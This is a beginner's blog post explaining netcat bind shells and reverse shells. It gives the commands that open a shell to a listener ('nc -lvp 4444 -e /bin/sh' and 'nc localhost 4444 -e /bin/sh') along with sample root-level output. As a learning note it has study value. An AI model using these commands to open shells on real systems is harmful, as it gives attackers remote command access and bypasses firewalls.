Bind Shell and Reverse Shell (Rudimentary)

Set up the same Netcat connection from the database side, but a little differently:

nc -lvp 4444 -e /bin/sh // listen to 4444, after establishing connection execute /bin/sh

This executes /bin/sh after establishing connection with port 4444

On the external (hacker) side, establish the connection:

nc localhost 4444

this will enable the external side to probably up to the super user access.

you can now execute commands from the external tool.

ex. permission:

id
>> uid=0(root) gid=0(root) groups=0(root)

ex. ip address

ip addr
>> 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group ....

REVERSE SHELL, is different: its establishing connection from external (hacker side) and connecting the database to it.

basically, just listen to a port on external and open up connection inside the database via the same port.

nc -lvp 4444 // on hacker side
nc localhost 4444 -e /bin/sh // on database side

even though the code is similar, this goes the opposite way.

This is used when a firewall is blocking different connections /listening from the database.

(from inside to outside)

IF THERE ARE ANYTHING THAT I GOT WRONG, PLEASE DON’T HESITATE TO LEAVE ON THE COMMENTS. AS A BEGINNER, THERE MAY BE SOME ERRORS.

Published by dz2701

Student Coder, interested in learning new Algorithms and new challenges!

Leave a Reply

Create your own website, free on WordPress.com.Create your own website.
Start free